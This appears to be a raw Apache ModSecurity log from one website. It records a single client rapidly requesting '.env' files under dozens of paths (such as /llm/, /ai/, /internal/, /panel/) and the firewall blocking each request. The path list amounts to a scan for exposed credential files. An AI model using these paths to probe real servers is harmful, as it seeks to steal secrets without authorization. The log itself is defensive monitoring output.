[Sun Oct 25 14:01:41.397719 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at5EBaYYcNPV1bnoekNX7QAAAAQ"]
[Sun Oct 25 14:01:41.397795 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at5EBROIqc1eRNCRH2cpBQAAAAc"]
[Sun Oct 25 14:01:41.398041 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at5EBROIqc1eRNCRH2cpBQAAAAc"]
[Sun Oct 25 14:01:41.402944 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ml/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at5EBfwFw76qlSfceadveAAAAAA"]
[Sun Oct 25 14:01:41.403094 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at5EBfwFw76qlSfceadveAAAAAA"]
[Sun Oct 25 14:01:41.403320 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at5EBfwFw76qlSfceadveAAAAAA"]
[Sun Oct 25 14:01:41.405192 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /chatbot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at5EBe6EytsuoC67cD91iAAAAAE"]
[Sun Oct 25 14:01:41.405370 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at5EBe6EytsuoC67cD91iAAAAAE"]
[Sun Oct 25 14:01:41.405703 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at5EBe6EytsuoC67cD91iAAAAAE"]
[Sun Oct 25 14:01:41.408804 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lib/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at5EBbc82c1J4zoyxalWnAAAAAI"]
[Sun Oct 25 14:01:41.408955 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at5EBbc82c1J4zoyxalWnAAAAAI"]
[Sun Oct 25 14:01:41.409171 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at5EBbc82c1J4zoyxalWnAAAAAI"]
[Sun Oct 25 14:01:41.410164 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /pipeline/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at5EBYIGIq5euXyTbvT1NgAAACQ"]
[Sun Oct 25 14:01:41.410314 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at5EBYIGIq5euXyTbvT1NgAAACQ"]
[Sun Oct 25 14:01:41.410655 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at5EBYIGIq5euXyTbvT1NgAAACQ"]
[Sun Oct 25 14:01:41.411619 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /llm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at5EBVY5e6yJWIYGXiqD6AAAAAk"]
[Sun Oct 25 14:01:41.411762 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at5EBVY5e6yJWIYGXiqD6AAAAAk"]
[Sun Oct 25 14:01:41.411998 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at5EBVY5e6yJWIYGXiqD6AAAAAk"]
[Sun Oct 25 14:01:41.412883 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /data/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at5EBSjnAS4eJh-ada2NHAAAAA0"]
[Sun Oct 25 14:01:41.413033 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at5EBSjnAS4eJh-ada2NHAAAAA0"]
[Sun Oct 25 14:01:41.413275 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at5EBSjnAS4eJh-ada2NHAAAAA0"]
[Sun Oct 25 14:01:41.413317 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /utils/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at5EBf1CbQghwAu-zzMCPwAAACA"]
[Sun Oct 25 14:01:41.413502 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at5EBf1CbQghwAu-zzMCPwAAACA"]
[Sun Oct 25 14:01:41.413729 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at5EBf1CbQghwAu-zzMCPwAAACA"]
[Sun Oct 25 14:01:41.416570 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /internal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at5EBROIqc1eRNCRH2cpBgAAAAc"]
[Sun Oct 25 14:01:41.416700 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at5EBROIqc1eRNCRH2cpBgAAAAc"]
[Sun Oct 25 14:01:41.416986 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at5EBROIqc1eRNCRH2cpBgAAAAc"]
[Sun Oct 25 14:01:41.418654 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /pkg/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw3wAAAAM"]
[Sun Oct 25 14:01:41.418814 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw3wAAAAM"]
[Sun Oct 25 14:01:41.419037 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw3wAAAAM"]
[Sun Oct 25 14:01:41.420155 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /common/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at5EBaYYcNPV1bnoekNX7gAAAAQ"]
[Sun Oct 25 14:01:41.420293 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at5EBaYYcNPV1bnoekNX7gAAAAQ"]
[Sun Oct 25 14:01:41.420539 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at5EBaYYcNPV1bnoekNX7gAAAAQ"]
[Sun Oct 25 14:01:41.421455 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40562] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cmd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at5EBRfmy5DaFfyE01WrIgAAABE"]
[Sun Oct 25 14:01:41.421684 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40562] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at5EBRfmy5DaFfyE01WrIgAAABE"]
[Sun Oct 25 14:01:41.421918 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40562] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at5EBRfmy5DaFfyE01WrIgAAABE"]
[Sun Oct 25 14:01:41.422869 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dashboard/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at5EBfwFw76qlSfceadveQAAAAA"]
[Sun Oct 25 14:01:41.423023 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at5EBfwFw76qlSfceadveQAAAAA"]
[Sun Oct 25 14:01:41.423307 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at5EBfwFw76qlSfceadveQAAAAA"]
[Sun Oct 25 14:01:41.424327 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /panel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at5EBe6EytsuoC67cD91iQAAAAE"]
